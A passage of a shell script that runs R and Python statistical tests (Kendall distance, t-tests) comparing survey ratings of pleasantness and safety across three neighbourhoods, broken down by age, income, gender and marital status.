#Rscript kendallDistance.R ranking1.dat ranking2.dat >> kendall.dat
echo " Catole x Not Catole Seg" >> kendallAll.dat
grep "seg" allCatoleOrdInter.dat > kendallSegAllCatole.dat
grep "seg" allNotCatoleOrdInter.dat > kendallSegAllNotCatole.dat
Rscript kendallDistance.R kendallSegAllCatole.dat kendallSegAllNotCatole.dat >> kendallAll.dat
#Liberdade e Not Liberdade
#echo " Liberdade x Not Liberdade Agrad" >> kendall.dat
#grep "agrad" firsLiberdadeOrdInter.dat > ranking1.dat
#grep "agrad" firsNotLiberdadeOrdInter.dat > ranking2.dat
#Rscript kendallDistance.R ranking1.dat ranking2.dat >> kendall.dat
echo " Liberdade x Not Liberdade Agra" >> kendallAll.dat
grep "agrad" allLiberdadeOrdInter.dat > kendallAgraAllLiberdade.dat
grep "agrad" allNotLiberdadeOrdInter.dat > kendallAgraAllNotLiberdade.dat
Rscript kendallDistance.R kendallAgraAllLiberdade.dat kendallAgraAllNotLiberdade.dat >> kendallAll.dat
#echo " Liberdade x Not Liberdade Agrad" >> kendall.dat
#grep "seg" firsLiberdadeOrdInter.dat > ranking1.dat
#grep "seg" firsNotLiberdadeOrdInter.dat > ranking2.dat
#Rscript kendallDistance.R ranking1.dat ranking2.dat >> kendall.dat
echo " Liberdade x Not Liberdade Seg" >> kendallAll.dat
grep "seg" allLiberdadeOrdInter.dat > kendallSegAllLiberdade.dat
grep "seg" allNotLiberdadeOrdInter.dat > kendallSegAllNotLiberdade.dat
Rscript kendallDistance.R kendallSegAllLiberdade.dat kendallSegAllNotLiberdade.dat >> kendallAll.dat
rm -f ranking1.dat ranking2.dat ranking3.dat ranking3Ord.dat temp.dat
mkdir kendal100
mv agradGeral.dat segGeral.dat agradGeralAll.dat segGeralAll.dat agradGeralAll.dat segGeralAll.dat kendall*.dat kendall100/
#Analisa QScore por Bairro
rm -f bairro.dat bairroAll.dat
#echo ">>>>>>>> Geral" >> bairro.dat
#python analisaQScorePorBairro.py first_vote_ordenado.dat > temp.dat
#grep "catole" temp.dat | grep "agra" > catole.dat
#grep "centro" temp.dat | grep "agra" > centro.dat
#grep "liberdade" temp.dat | grep "agra" > liberdade.dat
#echo "Agra Cat x Centro" >> bairro.dat
#Rscript calculaTTest.R catole.dat centro.dat "Catole Agra Ger" "Centro Agra Ger" "green">> bairro.dat
#echo "Agra Lib x Centro" >> bairro.dat
#Rscript calculaTTest.R liberdade.dat centro.dat "Liberdade Agra Ger" "Centro Agra Ger" "green" >> bairro.dat
#echo "Agra Cat x Liberdade" >> bairro.dat
#Rscript calculaTTest.R catole.dat liberdade.dat "Catole Agra Ger" "Liberdade Agra Ger" "green" >> bairro.dat
#grep "catole" temp.dat | grep "seg" > catole.dat
#grep "centro" temp.dat | grep "seg" > centro.dat
#grep "liberdade" temp.dat | grep "seg" > liberdade.dat
#echo "Seg Cat x Centro" >> bairro.dat
#Rscript calculaTTest.R catole.dat centro.dat "Catole Seg Ger" "Centro Seg Ger" "red" >> bairro.dat
#echo "Seg Lib x Centro" >> bairro.dat
#Rscript calculaTTest.R liberdade.dat centro.dat "Liberdade Seg Ger" "Centro Seg Ger" "red" >> bairro.dat
#echo "Seg Cat x Liberdade" >> bairro.dat
#Rscript calculaTTest.R catole.dat liberdade.dat "Catole Seg Ger" "Liberdade Seg Ger" "red" >> bairro.dat
#Todos os votos
echo ">>>>>>>> Geral" >> bairroAll.dat
python analisaQScorePorBairro.py all_ordenado.dat > temp.dat
echo "### All Agra" >> bairroAll.dat
cat meanNeigAgra.dat >> bairroAll.dat
echo "### All Seg" >> bairroAll.dat
cat meanNeigSeg.dat >> bairroAll.dat
rm meanNeigAgra.dat meanNeigSeg.dat
grep "catole" temp.dat | grep "agra" > catoleAgradAll.dat
grep "centro" temp.dat | grep "agra" > centroAgradAll.dat
grep "liberdade" temp.dat | grep "agra" > liberdadeAgradAll.dat
echo "Agra Cat x Centro" >> bairroAll.dat
Rscript calculaTTest.R catoleAgradAll.dat centroAgradAll.dat "Catole Agra Ger" "Centro Agra Ger" "green">> bairroAll.dat
echo "Agra Lib x Centro" >> bairroAll.dat
Rscript calculaTTest.R liberdadeAgradAll.dat centroAgradAll.dat "Liberdade Agra Ger" "Centro Agra Ger" "green" >> bairroAll.dat
echo "Agra Cat x Liberdade" >> bairroAll.dat
Rscript calculaTTest.R catoleAgradAll.dat liberdadeAgradAll.dat "Catole Agra Ger" "Liberdade Agra Ger" "green" >> bairroAll.dat
grep "catole" temp.dat | grep "seg" > catoleSegAll.dat
grep "centro" temp.dat | grep "seg" > centroSegAll.dat
grep "liberdade" temp.dat | grep "seg" > liberdadeSegAll.dat
echo "Seg Cat x Centro" >> bairroAll.dat
Rscript calculaTTest.R catoleSegAll.dat centroSegAll.dat "Catole Seg Ger" "Centro Seg Ger" "red" >> bairroAll.dat
echo "Seg Lib x Centro" >> bairroAll.dat
Rscript calculaTTest.R liberdadeSegAll.dat centroSegAll.dat "Liberdade Seg Ger" "Centro Seg Ger" "red" >> bairroAll.dat
echo "Seg Cat x Liberdade" >> bairroAll.dat
Rscript calculaTTest.R catoleSegAll.dat liberdadeSegAll.dat "Catole Seg Ger" "Liberdade Seg Ger" "red" >> bairroAll.dat
#Por grupo
#echo ">>>>>>>> Jovem" >> bairro.dat
#python analisaQScorePorBairro.py firsJovemOrdInter.dat > temp.dat
#grep "catole" temp.dat | grep "agra" > catole.dat
#grep "centro" temp.dat | grep "agra" > centro.dat
#grep "liberdade" temp.dat | grep "agra" > liberdade.dat
#echo "Agra Cat x Centro" >> bairro.dat
#Rscript calculaTTest.R catole.dat centro.dat "Catole Agra Jov" "Centro Agra Jov" "green">> bairro.dat
#echo "Agra Lib x Centro" >> bairro.dat
#Rscript calculaTTest.R liberdade.dat centro.dat "Liberdade Agra Jov" "Centro Agra Jov" "green" >> bairro.dat
#echo "Agra Cat x Liberdade" >> bairro.dat
#Rscript calculaTTest.R catole.dat liberdade.dat "Catole Agra Jov" "Liberdade Agra Jov" "green" >> bairro.dat
#grep "catole" temp.dat | grep "seg" > catole.dat
#grep "centro" temp.dat | grep "seg" > centro.dat
#grep "liberdade" temp.dat | grep "seg" > liberdade.dat
#echo "Seg Cat x Centro" >> bairro.dat
#Rscript calculaTTest.R catole.dat centro.dat "Catole Seg Jov" "Centro Seg Jov" "red" >> bairro.dat
#echo "Seg Lib x Centro" >> bairro.dat
#Rscript calculaTTest.R liberdade.dat centro.dat "Liberdade Seg Jov" "Centro Seg Jov" "red" >> bairro.dat
#echo "Seg Cat x Liberdade" >> bairro.dat
#Rscript calculaTTest.R catole.dat liberdade.dat "Catole Seg Jov" "Liberdade Seg Jov" "red" >> bairro.dat
echo ">>>>>>>> Jovem" >> bairroAll.dat
python analisaQScorePorBairro.py allJovemOrdInter.dat > temp.dat
echo "### Jovem Agra" >> bairroAll.dat
cat meanNeigAgra.dat >> bairroAll.dat
echo "### Jovem Seg" >> bairroAll.dat
cat meanNeigSeg.dat >> bairroAll.dat
rm meanNeigAgra.dat meanNeigSeg.dat
grep "catole" temp.dat | grep "agra" > catoleAgradJovemAll.dat
grep "centro" temp.dat | grep "agra" > centroAgradJovemAll.dat
grep "liberdade" temp.dat | grep "agra" > liberdadeAgradJovemAll.dat
echo "Agra Cat x Centro" >> bairroAll.dat
Rscript calculaTTest.R catoleAgradJovemAll.dat centroAgradJovemAll.dat "Catole Agra Jov" "Centro Agra Jov" "green">> bairroAll.dat
echo "Agra Lib x Centro" >> bairroAll.dat
Rscript calculaTTest.R liberdadeAgradJovemAll.dat centroAgradJovemAll.dat "Liberdade Agra Jov" "Centro Agra Jov" "green" >> bairroAll.dat
echo "Agra Cat x Liberdade" >> bairroAll.dat
Rscript calculaTTest.R catoleAgradJovemAll.dat liberdadeAgradJovemAll.dat "Catole Agra Jov" "Liberdade Agra Jov" "green" >> bairroAll.dat
grep "catole" temp.dat | grep "seg" > catoleSegJovemAll.dat
grep "centro" temp.dat | grep "seg" > centroSegJovemAll.dat
grep "liberdade" temp.dat | grep "seg" > liberdadeSegJovemAll.dat
echo "Seg Cat x Centro" >> bairroAll.dat
Rscript calculaTTest.R catoleSegJovemAll.dat centroSegJovemAll.dat "Catole Seg Jov" "Centro Seg Jov" "red" >> bairroAll.dat
echo "Seg Lib x Centro" >> bairroAll.dat
Rscript calculaTTest.R liberdadeSegJovemAll.dat centroSegJovemAll.dat "Liberdade Seg Jov" "Centro Seg Jov" "red" >> bairroAll.dat
echo "Seg Cat x Liberdade" >> bairroAll.dat
Rscript calculaTTest.R catoleSegJovemAll.dat liberdadeSegJovemAll.dat "Catole Seg Jov" "Liberdade Seg Jov" "red" >> bairroAll.dat
#echo ">>>>>>> Adulto" >> bairro.dat
#python analisaQScorePorBairro.py firsAdultoOrdInter.dat > temp.dat
#grep "catole" temp.dat | grep "agra" > catole.dat
#grep "centro" temp.dat | grep "agra" > centro.dat
#grep "liberdade" temp.dat | grep "agra" > liberdade.dat
#echo "Agra Cat x Centro" >> bairro.dat
#Rscript calculaTTest.R catole.dat centro.dat "Catole Agra Adu" "Centro Agra Adu" "green">> bairro.dat
#echo "Agra Lib x Centro" >> bairro.dat
#Rscript calculaTTest.R liberdade.dat centro.dat "Liberdade Agra Adu" "Centro Agra Adu" "green" >> bairro.dat
#echo "Agra Cat x Liberdade" >> bairro.dat
#Rscript calculaTTest.R catole.dat liberdade.dat "Catole Agra Adu" "Liberdade Agra Adu" "green" >> bairro.dat
#grep "catole" temp.dat | grep "seg" > catole.dat
#grep "centro" temp.dat | grep "seg" > centro.dat
#grep "liberdade" temp.dat | grep "seg" > liberdade.dat
#echo "Seg Cat x Centro" >> bairro.dat
#Rscript calculaTTest.R catole.dat centro.dat "Catole Seg Adu" "Centro Seg Adu" "red" >> bairro.dat
#echo "Seg Lib x Centro" >> bairro.dat
#Rscript calculaTTest.R liberdade.dat centro.dat "Liberdade Seg" "Centro Seg Adu" "red" >> bairro.dat
#echo "Seg Cat x Liberdade" >> bairro.dat
#Rscript calculaTTest.R catole.dat liberdade.dat "Catole Seg Adu" "Liberdade Seg Adu" "red" >> bairro.dat
echo ">>>>>>> Adulto" >> bairroAll.dat
python analisaQScorePorBairro.py allAdultoOrdInter.dat > temp.dat
echo "### Adulto Agra" >> bairroAll.dat
cat meanNeigAgra.dat >> bairroAll.dat
echo "### Adulto Seg" >> bairroAll.dat
cat meanNeigSeg.dat >> bairroAll.dat
rm meanNeigAgra.dat meanNeigSeg.dat
grep "catole" temp.dat | grep "agra" > catoleAgradAdultoAll.dat
grep "centro" temp.dat | grep "agra" > centroAgradAdultoAll.dat
grep "liberdade" temp.dat | grep "agra" > liberdadeAgradAdultoAll.dat
echo "Agra Cat x Centro" >> bairroAll.dat
Rscript calculaTTest.R catoleAgradAdultoAll.dat centroAgradAdultoAll.dat "Catole Agra Adu" "Centro Agra Adu" "green">> bairroAll.dat
echo "Agra Lib x Centro" >> bairroAll.dat
Rscript calculaTTest.R liberdadeAgradAdultoAll.dat centroAgradAdultoAll.dat "Liberdade Agra Adu" "Centro Agra Adu" "green" >> bairroAll.dat
echo "Agra Cat x Liberdade" >> bairroAll.dat
Rscript calculaTTest.R catoleAgradAdultoAll.dat liberdadeAgradAdultoAll.dat "Catole Agra Adu" "Liberdade Agra Adu" "green" >> bairroAll.dat
grep "catole" temp.dat | grep "seg" > catoleSegAdultoAll.dat
grep "centro" temp.dat | grep "seg" > centroSegAdultoAll.dat
grep "liberdade" temp.dat | grep "seg" > liberdadeSegAdultoAll.dat
echo "Seg Cat x Centro" >> bairroAll.dat
Rscript calculaTTest.R catoleSegAdultoAll.dat centroSegAdultoAll.dat "Catole Seg Adu" "Centro Seg Adu" "red" >> bairroAll.dat
echo "Seg Lib x Centro" >> bairroAll.dat
Rscript calculaTTest.R liberdadeSegAdultoAll.dat centroSegAdultoAll.dat "Liberdade Seg" "Centro Seg Adu" "red" >> bairroAll.dat
echo "Seg Cat x Liberdade" >> bairroAll.dat
Rscript calculaTTest.R catoleSegAdultoAll.dat liberdadeSegAdultoAll.dat "Catole Seg Adu" "Liberdade Seg Adu" "red" >> bairroAll.dat
#echo ">>>>>>>>>> Baixa" >> bairro.dat
#python analisaQScorePorBairro.py firsBaixaOrdInter.dat > temp.dat
#grep "catole" temp.dat | grep "agra" > catole.dat
#grep "centro" temp.dat | grep "agra" > centro.dat
#grep "liberdade" temp.dat | grep "agra" > liberdade.dat
#echo "Agra Cat x Centro" >> bairro.dat
#Rscript calculaTTest.R catole.dat centro.dat "Catole Agra Bai" "Centro Agra Bai" "green">> bairro.dat
#echo "Agra Lib x Centro" >> bairro.dat
#Rscript calculaTTest.R liberdade.dat centro.dat "Liberdade Agra Bai" "Centro Agra Bai" "green" >> bairro.dat
#echo "Agra Cat x Liberdade" >> bairro.dat
#Rscript calculaTTest.R catole.dat liberdade.dat "Catole Agra Bai" "Liberdade Agra Bai" "green" >> bairro.dat
#grep "catole" temp.dat | grep "seg" > catole.dat
#grep "centro" temp.dat | grep "seg" > centro.dat
#grep "liberdade" temp.dat | grep "seg" > liberdade.dat
#echo "Seg Cat x Centro" >> bairro.dat
#Rscript calculaTTest.R catole.dat centro.dat "Catole Seg Bai" "Centro Seg Bai" "red" >> bairro.dat
#echo "Seg Lib x Centro" >> bairro.dat
#Rscript calculaTTest.R liberdade.dat centro.dat "Liberdade Seg Bai" "Centro Seg Bai" "red" >> bairro.dat
#echo "Seg Cat x Liberdade" >> bairro.dat
#Rscript calculaTTest.R catole.dat liberdade.dat "Catole Seg Bai" "Liberdade Seg Bai" "red" >> bairro.dat
echo ">>>>>>>>>> Baixa" >> bairroAll.dat
python analisaQScorePorBairro.py allBaixaOrdInter.dat > temp.dat
echo "### Baixa Agra" >> bairroAll.dat
cat meanNeigAgra.dat >> bairroAll.dat
echo "### Baixa Seg" >> bairroAll.dat
cat meanNeigSeg.dat >> bairroAll.dat
rm meanNeigAgra.dat meanNeigSeg.dat
grep "catole" temp.dat | grep "agra" > catoleAgradBaixaAll.dat
grep "centro" temp.dat | grep "agra" > centroAgradBaixaAll.dat
grep "liberdade" temp.dat | grep "agra" > liberdadeAgradBaixaAll.dat
echo "Agra Cat x Centro" >> bairroAll.dat
Rscript calculaTTest.R catoleAgradBaixaAll.dat centroAgradBaixaAll.dat "Catole Agra Bai" "Centro Agra Bai" "green">> bairroAll.dat
echo "Agra Lib x Centro" >> bairroAll.dat
Rscript calculaTTest.R liberdadeAgradBaixaAll.dat centroAgradBaixaAll.dat "Liberdade Agra Bai" "Centro Agra Bai" "green" >> bairroAll.dat
echo "Agra Cat x Liberdade" >> bairroAll.dat
Rscript calculaTTest.R catoleAgradBaixaAll.dat liberdadeAgradBaixaAll.dat "Catole Agra Bai" "Liberdade Agra Bai" "green" >> bairroAll.dat
grep "catole" temp.dat | grep "seg" > catoleSegBaixaAll.dat
grep "centro" temp.dat | grep "seg" > centroSegBaixaAll.dat
grep "liberdade" temp.dat | grep "seg" > liberdadeSegBaixaAll.dat
echo "Seg Cat x Centro" >> bairroAll.dat
Rscript calculaTTest.R catoleSegBaixaAll.dat centroSegBaixaAll.dat "Catole Seg Bai" "Centro Seg Bai" "red" >> bairroAll.dat
echo "Seg Lib x Centro" >> bairroAll.dat
Rscript calculaTTest.R liberdadeSegBaixaAll.dat centroSegBaixaAll.dat "Liberdade Seg Bai" "Centro Seg Bai" "red" >> bairroAll.dat
echo "Seg Cat x Liberdade" >> bairroAll.dat
Rscript calculaTTest.R catoleSegBaixaAll.dat liberdadeSegBaixaAll.dat "Catole Seg Bai" "Liberdade Seg Bai" "red" >> bairroAll.dat
#echo ">>>>>>>>>> Media" >> bairro.dat
#python analisaQScorePorBairro.py firsMediaOrdInter.dat > temp.dat
#grep "catole" temp.dat | grep "agra" > catole.dat
#grep "centro" temp.dat | grep "agra" > centro.dat
#grep "liberdade" temp.dat | grep "agra" > liberdade.dat
#echo "Agra Cat x Centro" >> bairro.dat
#Rscript calculaTTest.R catole.dat centro.dat "Catole Agra Med" "Centro Agra Med" "green">> bairro.dat
#echo "Agra Lib x Centro" >> bairro.dat
#Rscript calculaTTest.R liberdade.dat centro.dat "Liberdade Agra Med" "Centro Agra Med" "green" >> bairro.dat
#echo "Agra Cat x Liberdade" >> bairro.dat
#Rscript calculaTTest.R catole.dat liberdade.dat "Catole Agra Med" "Liberdade Agra Med" "green" >> bairro.dat
#grep "catole" temp.dat | grep "seg" > catole.dat
#grep "centro" temp.dat | grep "seg" > centro.dat
#grep "liberdade" temp.dat | grep "seg" > liberdade.dat
#echo "Seg Cat x Centro" >> bairro.dat
#Rscript calculaTTest.R catole.dat centro.dat "Catole Seg Med" "Centro Seg Med" "red" >> bairro.dat
#echo "Seg Lib x Centro" >> bairro.dat
#Rscript calculaTTest.R liberdade.dat centro.dat "Liberdade Seg Med" "Centro Seg Med" "red" >> bairro.dat
#echo "Seg Cat x Liberdade" >> bairro.dat
#Rscript calculaTTest.R catole.dat liberdade.dat "Catole Seg Med" "Liberdade Seg Med" "red" >> bairro.dat
echo ">>>>>>>>>> Media" >> bairroAll.dat
python analisaQScorePorBairro.py allMediaOrdInter.dat > temp.dat
echo "### Media Agra" >> bairroAll.dat
cat meanNeigAgra.dat >> bairroAll.dat
echo "### Media Seg" >> bairroAll.dat
cat meanNeigSeg.dat >> bairroAll.dat
rm meanNeigAgra.dat meanNeigSeg.dat
grep "catole" temp.dat | grep "agra" > catoleAgradMediaAll.dat
grep "centro" temp.dat | grep "agra" > centroAgradMediaAll.dat
grep "liberdade" temp.dat | grep "agra" > liberdadeAgradMediaAll.dat
echo "Agra Cat x Centro" >> bairroAll.dat
Rscript calculaTTest.R catoleAgradMediaAll.dat centroAgradMediaAll.dat "Catole Agra Med" "Centro Agra Med" "green">> bairroAll.dat
echo "Agra Lib x Centro" >> bairroAll.dat
Rscript calculaTTest.R liberdadeAgradMediaAll.dat centroAgradMediaAll.dat "Liberdade Agra Med" "Centro Agra Med" "green" >> bairroAll.dat
echo "Agra Cat x Liberdade" >> bairroAll.dat
Rscript calculaTTest.R catoleAgradMediaAll.dat liberdadeAgradMediaAll.dat "Catole Agra Med" "Liberdade Agra Med" "green" >> bairroAll.dat
grep "catole" temp.dat | grep "seg" > catoleSegMediaAll.dat
grep "centro" temp.dat | grep "seg" > centroSegMediaAll.dat
grep "liberdade" temp.dat | grep "seg" > liberdadeSegMediaAll.dat
echo "Seg Cat x Centro" >> bairroAll.dat
Rscript calculaTTest.R catoleSegMediaAll.dat centroSegMediaAll.dat "Catole Seg Med" "Centro Seg Med" "red" >> bairroAll.dat
echo "Seg Lib x Centro" >> bairroAll.dat
Rscript calculaTTest.R liberdadeSegMediaAll.dat centroSegMediaAll.dat "Liberdade Seg Med" "Centro Seg Med" "red" >> bairroAll.dat
echo "Seg Cat x Liberdade" >> bairroAll.dat
Rscript calculaTTest.R catoleSegMediaAll.dat liberdadeSegMediaAll.dat "Catole Seg Med" "Liberdade Seg Med" "red" >> bairroAll.dat
#echo ">>>>>>>>>> Fem" >> bairro.dat
#python analisaQScorePorBairro.py firsFemininoOrdInter.dat > temp.dat
#grep "catole" temp.dat | grep "agra" > catole.dat
#grep "centro" temp.dat | grep "agra" > centro.dat
#grep "liberdade" temp.dat | grep "agra" > liberdade.dat
#echo "Agra Cat x Centro" >> bairro.dat
#Rscript calculaTTest.R catole.dat centro.dat "Catole Agra Fem" "Centro Agra Fem" "green">> bairro.dat
#echo "Agra Lib x Centro" >> bairro.dat
#Rscript calculaTTest.R liberdade.dat centro.dat "Liberdade Agra Fem" "Centro Agra Fem" "green" >> bairro.dat
#echo "Agra Cat x Liberdade" >> bairro.dat
#Rscript calculaTTest.R catole.dat liberdade.dat "Catole Agra Fem" "Liberdade Agra Fem" "green" >> bairro.dat
#grep "catole" temp.dat | grep "seg" > catole.dat
#grep "centro" temp.dat | grep "seg" > centro.dat
#grep "liberdade" temp.dat | grep "seg" > liberdade.dat
#echo "Seg Cat x Centro" >> bairro.dat
#Rscript calculaTTest.R catole.dat centro.dat "Catole Seg Fem" "Centro Seg Fem" "red" >> bairro.dat
#echo "Seg Lib x Centro" >> bairro.dat
#Rscript calculaTTest.R liberdade.dat centro.dat "Liberdade Seg Fem" "Centro Seg Fem" "red" >> bairro.dat
#echo "Seg Cat x Liberdade" >> bairro.dat
#Rscript calculaTTest.R catole.dat liberdade.dat "Catole Seg Fem" "Liberdade Seg Fem" "red" >> bairro.dat
echo ">>>>>>>>>> Fem" >> bairroAll.dat
python analisaQScorePorBairro.py allFemininoOrdInter.dat > temp.dat
echo "### Fem Agra" >> bairroAll.dat
cat meanNeigAgra.dat >> bairroAll.dat
echo "### Fem Seg" >> bairroAll.dat
cat meanNeigSeg.dat >> bairroAll.dat
rm meanNeigAgra.dat meanNeigSeg.dat
grep "catole" temp.dat | grep "agra" > catoleAgradFemininoAll.dat
grep "centro" temp.dat | grep "agra" > centroAgradFemininoAll.dat
grep "liberdade" temp.dat | grep "agra" > liberdadeAgradFemininoAll.dat
echo "Agra Cat x Centro" >> bairroAll.dat
Rscript calculaTTest.R catoleAgradFemininoAll.dat centroAgradFemininoAll.dat "Catole Agra Fem" "Centro Agra Fem" "green">> bairroAll.dat
echo "Agra Lib x Centro" >> bairroAll.dat
Rscript calculaTTest.R liberdadeAgradFemininoAll.dat centroAgradFemininoAll.dat "Liberdade Agra Fem" "Centro Agra Fem" "green" >> bairroAll.dat
echo "Agra Cat x Liberdade" >> bairroAll.dat
Rscript calculaTTest.R catoleAgradFemininoAll.dat liberdadeAgradFemininoAll.dat "Catole Agra Fem" "Liberdade Agra Fem" "green" >> bairroAll.dat
grep "catole" temp.dat | grep "seg" > catoleSegFemininoAll.dat
grep "centro" temp.dat | grep "seg" > centroSegFemininoAll.dat
grep "liberdade" temp.dat | grep "seg" > liberdadeSegFemininoAll.dat
echo "Seg Cat x Centro" >> bairroAll.dat
Rscript calculaTTest.R catoleSegFemininoAll.dat centroSegFemininoAll.dat "Catole Seg Fem" "Centro Seg Fem" "red" >> bairroAll.dat
echo "Seg Lib x Centro" >> bairroAll.dat
Rscript calculaTTest.R liberdadeSegFemininoAll.dat centroSegFemininoAll.dat "Liberdade Seg Fem" "Centro Seg Fem" "red" >> bairroAll.dat
echo "Seg Cat x Liberdade" >> bairroAll.dat
Rscript calculaTTest.R catoleSegFemininoAll.dat liberdadeSegFemininoAll.dat "Catole Seg Fem" "Liberdade Seg Fem" "red" >> bairroAll.dat
#echo ">>>>>>>>> Masc" >> bairro.dat
#python analisaQScorePorBairro.py firsMasculinoOrdInter.dat > temp.dat
#grep "catole" temp.dat | grep "agra" > catole.dat
#grep "centro" temp.dat | grep "agra" > centro.dat
#grep "liberdade" temp.dat | grep "agra" > liberdade.dat
#echo "Agra Cat x Centro" >> bairro.dat
#Rscript calculaTTest.R catole.dat centro.dat "Catole Agra Mas" "Centro Agra Mas" "green">> bairro.dat
#echo "Agra Lib x Centro" >> bairro.dat
#Rscript calculaTTest.R liberdade.dat centro.dat "Liberdade Agra Mas" "Centro Agra Mas" "green" >> bairro.dat
#echo "Agra Cat x Liberdade" >> bairro.dat
#Rscript calculaTTest.R catole.dat liberdade.dat "Catole Agra Mas" "Liberdade Agra Mas" "green" >> bairro.dat
#grep "catole" temp.dat | grep "seg" > catole.dat
#grep "centro" temp.dat | grep "seg" > centro.dat
#grep "liberdade" temp.dat | grep "seg" > liberdade.dat
#echo "Seg Cat x Centro" >> bairro.dat
#Rscript calculaTTest.R catole.dat centro.dat "Catole Seg Mas" "Centro Seg Mas" "red" >> bairro.dat
#echo "Seg Lib x Centro" >> bairro.dat
#Rscript calculaTTest.R liberdade.dat centro.dat "Liberdade Seg Mas" "Centro Seg Mas" "red" >> bairro.dat
#echo "Seg Cat x Liberdade" >> bairro.dat
#Rscript calculaTTest.R catole.dat liberdade.dat "Catole Seg Mas" "Liberdade Seg Mas" "red" >> bairro.dat
echo ">>>>>>>>> Masc" >> bairroAll.dat
python analisaQScorePorBairro.py allMasculinoOrdInter.dat > temp.dat
echo "### Masc Agra" >> bairroAll.dat
cat meanNeigAgra.dat >> bairroAll.dat
echo "### Masc Seg" >> bairroAll.dat
cat meanNeigSeg.dat >> bairroAll.dat
rm meanNeigAgra.dat meanNeigSeg.dat
grep "catole" temp.dat | grep "agra" > catoleAgradMasculinoAll.dat
grep "centro" temp.dat | grep "agra" > centroAgradMasculinoAll.dat
grep "liberdade" temp.dat | grep "agra" > liberdadeAgradMasculinoAll.dat
echo "Agra Cat x Centro" >> bairroAll.dat
Rscript calculaTTest.R catoleAgradMasculinoAll.dat centroAgradMasculinoAll.dat "Catole Agra Mas" "Centro Agra Mas" "green">> bairroAll.dat
echo "Agra Lib x Centro" >> bairroAll.dat
Rscript calculaTTest.R liberdadeAgradMasculinoAll.dat centroAgradMasculinoAll.dat "Liberdade Agra Mas" "Centro Agra Mas" "green" >> bairroAll.dat
echo "Agra Cat x Liberdade" >> bairroAll.dat
Rscript calculaTTest.R catoleAgradMasculinoAll.dat liberdadeAgradMasculinoAll.dat "Catole Agra Mas" "Liberdade Agra Mas" "green" >> bairroAll.dat
grep "catole" temp.dat | grep "seg" > catoleSegMasculinoAll.dat
grep "centro" temp.dat | grep "seg" > centroSegMasculinoAll.dat
grep "liberdade" temp.dat | grep "seg" > liberdadeSegMasculinoAll.dat
echo "Seg Cat x Centro" >> bairroAll.dat
Rscript calculaTTest.R catoleSegMasculinoAll.dat centroSegMasculinoAll.dat "Catole Seg Mas" "Centro Seg Mas" "red" >> bairroAll.dat
echo "Seg Lib x Centro" >> bairroAll.dat
Rscript calculaTTest.R liberdadeSegMasculinoAll.dat centroSegMasculinoAll.dat "Liberdade Seg Mas" "Centro Seg Mas" "red" >> bairroAll.dat
echo "Seg Cat x Liberdade" >> bairroAll.dat
Rscript calculaTTest.R catoleSegMasculinoAll.dat liberdadeSegMasculinoAll.dat "Catole Seg Mas" "Liberdade Seg Mas" "red" >> bairroAll.dat
#echo ">>>>>>>>>>>> Casado" >> bairro.dat
#python analisaQScorePorBairro.py firsCasadoOrdInter.dat > temp.dat
#grep "catole" temp.dat | grep "agra" > catole.dat
#grep "centro" temp.dat | grep "agra" > centro.dat
#grep "liberdade" temp.dat | grep "agra" > liberdade.dat
#echo "Agra Cat x Centro" >> bairro.dat
#Rscript calculaTTest.R catole.dat centro.dat "Catole Agra Cas" "Centro Agra Cas" "green">> bairro.dat
#echo "Agra Lib x Centro" >> bairro.dat
#Rscript calculaTTest.R liberdade.dat centro.dat "Liberdade Agra Cas" "Centro Agra Cas" "green" >> bairro.dat
#echo "Agra Cat x Liberdade" >> bairro.dat
#Rscript calculaTTest.R catole.dat liberdade.dat "Catole Agra Cas" "Liberdade Agra Cas" "green" >> bairro.dat
#grep "catole" temp.dat | grep "seg" > catole.dat
#grep "centro" temp.dat | grep "seg" > centro.dat
#grep "liberdade" temp.dat | grep "seg" > liberdade.dat
#echo "Seg Cat x Centro" >> bairro.dat
#Rscript calculaTTest.R catole.dat centro.dat "Catole Seg Cas" "Centro Seg Cas" "red" >> bairro.dat
#echo "Seg Lib x Centro" >> bairro.dat
#Rscript calculaTTest.R liberdade.dat centro.dat "Liberdade Seg Cas" "Centro Seg Cas" "red" >> bairro.dat
#echo "Seg Cat x Liberdade" >> bairro.dat
#Rscript calculaTTest.R catole.dat liberdade.dat "Catole Seg Cas" "Liberdade Seg Cas" "red" >> bairro.dat
echo ">>>>>>>>>>>> Casado" >> bairroAll.dat
python analisaQScorePorBairro.py allCasadoOrdInter.dat > temp.dat
echo "### Casado Agra" >> bairroAll.dat
cat meanNeigAgra.dat >> bairroAll.dat
echo "### Casado Seg" >> bairroAll.dat
cat meanNeigSeg.dat >> bairroAll.dat
rm meanNeigAgra.dat meanNeigSeg.dat
grep "catole" temp.dat | grep "agra" > catoleAgradCasadoAll.dat
grep "centro" temp.dat | grep "agra" > centroAgradCasadoAll.dat
grep "liberdade" temp.dat | grep "agra" > liberdadeAgradCasadoAll.dat
echo "Agra Cat x Centro" >> bairroAll.dat
Rscript calculaTTest.R catoleAgradCasadoAll.dat centroAgradCasadoAll.dat "Catole Agra Cas" "Centro Agra Cas" "green">> bairroAll.dat
echo "Agra Lib x Centro" >> bairroAll.dat
Rscript calculaTTest.R liberdadeAgradCasadoAll.dat centroAgradCasadoAll.dat "Liberdade Agra Cas" "Centro Agra Cas" "green" >> bairroAll.dat
echo "Agra Cat x Liberdade" >> bairroAll.dat
Rscript calculaTTest.R catoleAgradCasadoAll.dat liberdadeAgradCasadoAll.dat "Catole Agra Cas" "Liberdade Agra Cas" "green" >> bairroAll.dat
grep "catole" temp.dat | grep "seg" > catoleSegCasadoAll.dat
grep "centro" temp.dat | grep "seg" > centroSegCasadoAll.dat
grep "liberdade" temp.dat | grep "seg" > liberdadeSegCasadoAll.dat
echo "Seg Cat x Centro" >> bairroAll.dat
Rscript calculaTTest.R catoleSegCasadoAll.dat centroSegCasadoAll.dat "Catole Seg Cas" "Centro Seg Cas" "red" >> bairroAll.dat
echo "Seg Lib x Centro" >> bairroAll.dat
Rscript calculaTTest.R liberdadeSegCasadoAll.dat centroSegCasadoAll.dat "Liberdade Seg Cas" "Centro Seg Cas" "red" >> bairroAll.dat
echo "Seg Cat x Liberdade" >> bairroAll.dat
Rscript calculaTTest.R catoleSegCasadoAll.dat liberdadeSegCasadoAll.dat "Catole Seg Cas" "Liberdade Seg Cas" "red" >> bairroAll.dat
#echo ">>>>>>>>>>>>>> Solteiro" >> bairro.dat
#python analisaQScorePorBairro.py firsSolteiroOrdInter.dat > temp.dat
#grep "catole" temp.dat | grep "agra" > catole.dat
#grep "centro" temp.dat | grep "agra" > centro.dat
#grep "liberdade" temp.dat | grep "agra" > liberdade.dat
